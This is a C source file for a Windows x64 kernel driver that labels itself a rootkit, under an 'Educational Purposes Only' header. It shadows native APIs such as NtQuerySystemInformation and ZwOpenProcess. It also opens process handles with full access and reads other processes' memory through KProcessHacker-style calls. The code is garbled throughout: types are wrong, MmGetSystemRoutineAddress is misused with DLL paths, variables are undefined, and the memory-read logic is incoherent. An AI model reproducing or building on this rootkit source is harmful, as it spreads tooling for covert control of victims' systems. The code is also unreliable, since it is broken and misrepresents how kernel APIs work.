// Educational Purposes Only
// Platform: x64
#define _WIN32_WINNT 0x0600
#include "ntifs.h"

#define KPH2_NTDDI KPH2_NTDDI_10_0_14393
#include "kph2.h"

#include "ntstrsafe.h"
#include "ntintsafe.h"
#include "ntdll.h"

typedef ULONG QWORD;

QWORD (WINAPI *NtQuerySystemInformation_)(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Out_opt_ PVOID SystemInformation,
    _In_      ULONG SystemInformationLength,
    _Out_opt_ PULONG ReturnLength
);

QWORD (WINAPI *ZwUnmapViewOfSection_)(
    _In_      QWORD,
    _In_opt_  QWORD
);

QWORD (WINAPI *ZwQueryVirtualMemory_)(
    _In_   QWORD,
    _In_   QWORD,
    _In_   SYSTEM_INFORMATION_CLASS,
    _Out_  PVOID,
    _In_   SIZE_T,
    _Out_  PSIZE_T
);

NTSTATUS (WINAPI *ZwClose_)(
    _In_ QWORD
);

QWORD (WINAPI *KphOpenProcess_)(
    _Out_ QWORD*,
    _In_  QWORD,
    _In_  ACCESS_MASK,
    _In_  POBJECT_ATTRIBUTES
);

QWORD (WINAPI *KphDuplicateObject_)(
    _In_  QWORD,
    _In_  QWORD,
    _Out_ QWORD*,
    _In_  ACCESS_MASK,
    _In_  ULONG,
    _In_  ULONG
);

QWORD (WINAPI *KphReadVirtualMemoryUnsafe_)(
    _In_  QWORD,
    _In_  QWORD,
    _Out_ PVOID,
    _In_  SIZE_T,
    _Out_ PSIZE_T
);

PVOID ReadMemoryUnsafe(PVOID Base, QWORD Process, QWORD Offset, SIZE_T Length, PSIZE_T ReturnLength)
{
    PVOID Buffer = ExAllocatePool(NonPagedPool, Length);

    if (!Buffer)
    {
        DbgPrint("Memory allocation failure.\n");
    }

    QWORD Result = KphReadVirtualMemoryUnsafe_(Process, PtrToUlong(Base) + Offset, Buffer, Length, ReturnLength);

    if (Result != S_OK)
    {
        DbgPrint("Memory read operation failed.\n");
        ExFreePool(Buffer);
        return NULL;
    }

    return Buffer;
}

NTSTATUS (WINAPI *KphQuerySystemInformation_)(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Out_opt_ PVOID SystemInformation,
    _In_      ULONG SystemInformationLength,
    _Out_opt_ PULONG ReturnLength
);

PVOID WINAPI NtQuerySystemInformation(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Out_opt_ PVOID SystemInformation,
    _In_      ULONG SystemInformationLength,
    _Out_opt_ PULONG ReturnLength
)
{
    if (SystemInformationClass == SystemExtendedHandleInformation)
    {
        return NtQuerySystemInformation_(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
    }

    DbgPrint("SystemInformationClass - %x", SystemInformationClass);

    return STATUS_SUCCESS;
}

VOID WINAPI RtlInitUnicodeString(
    _Inout_    PUNICODE_STRING DestinationString,
    _In_opt_   PCWSTR          SourceString
)
{
    if (SourceString)
    {
        PUNICODE_STRING destinationString = DestinationString;

        RtlZeroMemory(destinationString, sizeof(UNICODE_STRING));

        STRING* sourceString = (STRING*)SourceString;

        NTSTATUS status;

        status = RtlUnicodeStringInitEx(destinationString, sourceString->Buffer, sourceString->Length);

        if (!NT_SUCCESS(status))
        {
            DbgPrint("RtlIntUnicodeString failed!\n");
        }
    }
    else
    {
        DestinationString->Length = 0;
        DestinationString->MaximumLength = 0;
        DestinationString->Buffer = NULL;
    }
}

NTSTATUS WINAPI ZwCreateUserProcess(
    _Out_     PHANDLE ProcessHandle,
    _Out_     PHANDLE ThreadHandle,
    _In_      ACCESS_MASK ProcessDesiredAccess,
    _In_      ACCESS_MASK ThreadDesiredAccess,
    _In_opt_  POBJECT_ATTRIBUTES ProcessObjectAttributes,
    _In_opt_  POBJECT_ATTRIBUTES ThreadObjectAttributes,
    _In_      ULONG ProcessFlags,
    _In_      ULONG ThreadFlags,
    _In_opt_  PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _In_      PVOID CreateInfo,
    _In_opt_  PVOID AttributeList
)
{
    NTSTATUS status;
    status = PsCreateSystemProcess(&ProcessHandle, ProcessDesiredAccess, ProcessObjectAttributes, 0, ProcessFlags, AttributeList, 0, CreateInfo, NULL);

    return status;
}

NTSTATUS WINAPI ZwMapViewOfSection(
    _In_     HANDLE SectionHandle,
    _In_     HANDLE ProcessHandle,
    _Inout_  PVOID *BaseAddress,
    _In_     ULONG_PTR ZeroBits,
    _In_     SIZE_T CommitSize,
    _Inout_  PLARGE_INTEGER SectionOffset,
    _Inout_  PSIZE_T ViewSize,
    _In_     SECTION_INHERIT InheritDisposition,
    _In_     ULONG AllocationType,
    _In_     ULONG Win32Protect
)
{
    NTSTATUS status;
    status = MmMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, 0, Win32Protect);

    return status;
}

NTSTATUS WINAPI ZwTerminateProcess(
    _In_      HANDLE ProcessHandle,
    _In_      NTSTATUS ExitStatus
)
{
    NTSTATUS status;
    status = PsTerminateProcess(ProcessHandle, ExitStatus);

    return status;
}

NTSTATUS WINAPI ZwQueryInformationProcess(
    _In_      HANDLE ProcessHandle,
    _In_      PROCESSINFOCLASS ProcessInformationClass,
    _Out_     PVOID ProcessInformation,
    _In_      ULONG ProcessInformationLength,
    _Out_opt_ PULONG ReturnLength
)
{
    NTSTATUS status;
    status = PsQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);

    return status;
}

NTSTATUS NTAPI KphReadVirtualMemoryUnsafe(
    _In_  QWORD ProcessHandle,
    _In_  QWORD BaseAddress,
    _Out_ PVOID Buffer,
    _In_  SIZE_T BufferSize,
    _Out_ PSIZE_T ReturnedLength
)
{
    PVOID Base = (PVOID)BaseAddress;
    PSYSTEM_PROCESS_INFORMATION ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)ReadMemoryUnsafe(SystemInformation, ProcessHandle, 0, sizeof(SYSTEM_PROCESS_INFORMATION), NULL);
    PHARDWARE_PTE Page = NULL;

    if (!ProcessInfo)
    {
        DbgPrint("ProcessInfo read operation failed.\n");
    }
    else
    {
        PRTL_INVERTED_FUNCTION_TABLE_ENTRY_HEAD InvertedFunctionTable = ProcessInfo->UniqueProcessId;
        PRTL_INVERTED_FUNCTION_TABLE Entry = NULL;

        if (InvertedFunctionTable == -2)
        {
            DbgPrint("-2 check failed\n");
        }
        else
        {
            if (!(InvertedFunctionTable == -1))
            {
                Entry = (PRTL_INVERTED_FUNCTION_TABLE)(InvertedFunctionTable->EntryCount << 3);

                PVOID Base = ProcessInfo->BaseAddress;
                PVOID Table = InvertedFunctionTable;

                ProcessInfo = Entry;

                if (!ProcessInfo)
                {
                    return FALSE;
                }

                if (Page == NULL)
                {
                    Page = PsGetCurrentProcess();
                }
            }

            InvertedFunctionTable = ProcessInfo;
        }

        if (Page)
        {
            return FALSE;
        }
    }

    ProcessInfo = NtCurrentProcess();

    if (ProcessInfo)
    {
        return FALSE;
    }

    ProcessInfo = NULL;

    if (ProcessInfo == -1)
    {
        DbgPrint("InvertedFunctionTable is -1.\n");
        return FALSE;
    }
    else
    {
        return TRUE;
    }
}

QWORD WINAPI ZwUnmapViewOfSectionEx(
    _In_      QWORD SectionHandle,
    _In_opt_  QWORD ProcessHandle,
    _In_opt_  QWORD BaseAddress,
    _In_opt_  QWORD ZeroBits,
    _In_opt_  QWORD RegionSize
)
{
    QWORD Irp, DeviceObject, FileObject;
    OBJECT_ATTRIBUTES fileAttributes;
    UNICODE_STRING path;
    PVOID buffer;
    SIZE_T returned;

    if (SectionHandle)
    {
        RtlInitUnicodeString(&path, L"\\DosDevices\\C:\\Windows\\System32\\win32kfull.sys");
        InitializeObjectAttributes(&fileAttributes, &path, OBJ_CASE_INSENSITIVE, NULL, NULL);

        KphOpenProcess_(&ProcessHandle, ProcessAllAccess, &fileAttributes);
        KphDuplicateObject_(&ProcessHandle, SectionHandle, &SectionHandle, 0, 0, DUPLICATE_SAME_ACCESS);

        buffer = ExAllocatePool(NonPagedPool, 0x400);
        KphReadVirtualMemoryUnsafe_(&SectionHandle, 0, buffer, 0x400, &returned);

        if (!buffer)
        {
            DbgPrint("SectionHandle buffer is NULL.\n");
        }
    }

    return STATUS_SUCCESS;
}

NTSTATUS WINAPI ZwDuplicateObject(
    _In_  HANDLE  SourceProcessHandle,
    _In_  HANDLE  SourceHandle,
    _In_  HANDLE  TargetProcessHandle,
    _Out_ PHANDLE TargetHandle,
    _In_  ACCESS_MASK DesiredAccess,
    _In_  ULONG  HandleAttributes,
    _In_  ULONG  Options
)
{
    NTSTATUS status;
    status = ObDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, TargetHandle, DesiredAccess, HandleAttributes, Options);

    return status;
}

NTSTATUS WINAPI ZwQueryVirtualMemory(
    _In_     HANDLE ProcessHandle,
    _In_opt_ PVOID  BaseAddress,
    _In_     MEMORY_INFORMATION_CLASS MemoryInformationClass,
    _Out_    PVOID  MemoryInformation,
    _In_     SIZE_T MemoryInformationLength,
    _Out_    PSIZE_T ReturnLength
)
{
    NTSTATUS status;
    status = ZwQueryVirtualMemory_(ProcessHandle, BaseAddress, MemoryInformationClass, MemoryInformation, MemoryInformationLength, ReturnLength);

    return status;
}

NTSTATUS WINAPI ZwOpenProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK AccessMask,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ PCLIENT_ID ClientId
)
{
    NTSTATUS status = STATUS_SUCCESS;

    if (ClientId->UniqueProcess & 0xfff && AccessMask & ProcessQueryLimitInformation)
    {
        return STATUS_ACCESS_DENIED;
    }

    status = ObOpenObjectByPointer(ClientId->UniqueProcess, OBJ_KERNEL_HANDLE, NULL, AccessMask, *PsProcessType, KernelMode, ProcessHandle);

    return status;
}

NTSTATUS WINAPI ZwClose(
    _In_ HANDLE Handle
)
{
    NTSTATUS status;
    status = ObCloseHandle(Handle, KernelMode);

    return status;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Rootkit unloaded.\n");

    PsTerminateSystemThread(STATUS_SUCCESS);
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING ntdllName;
    UNICODE_STRING ntdllPath;
    UNICODE_STRING kphName;
    UNICODE_STRING kphPath;

    RtlInitUnicodeString(&ntdllName, L"ntdll.dll");
    RtlInitUnicodeString(&ntdllPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
    RtlInitUnicodeString(&kphName, L"kph2.dll");
    RtlInitUnicodeString(&kphPath, L"\\??\\C:\\Windows\\System32\\kph2.dll");

    NtQuerySystemInformation_ = MmGetSystemRoutineAddress(&ntdllName);
    ZwUnmapViewOfSection_ = MmGetSystemRoutineAddress(&ntdllPath);
    ZwQueryVirtualMemory_ = MmGetSystemRoutineAddress(&ntdllPath);
    ZwClose_ = MmGetSystemRoutineAddress(&ntdllPath);
    KphOpenProcess_ = MmGetSystemRoutineAddress(&kphName);
    KphDuplicateObject_ = MmGetSystemRoutineAddress(&kphName);
    KphReadVirtualMemoryUnsafe_ = MmGetSystemRoutineAddress(&kphName);
    KphQuerySystemInformation_ = MmGetSystemRoutineAddress(&kphName);

    DbgPrint("Rootkit loaded.\n");

    DriverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS;
}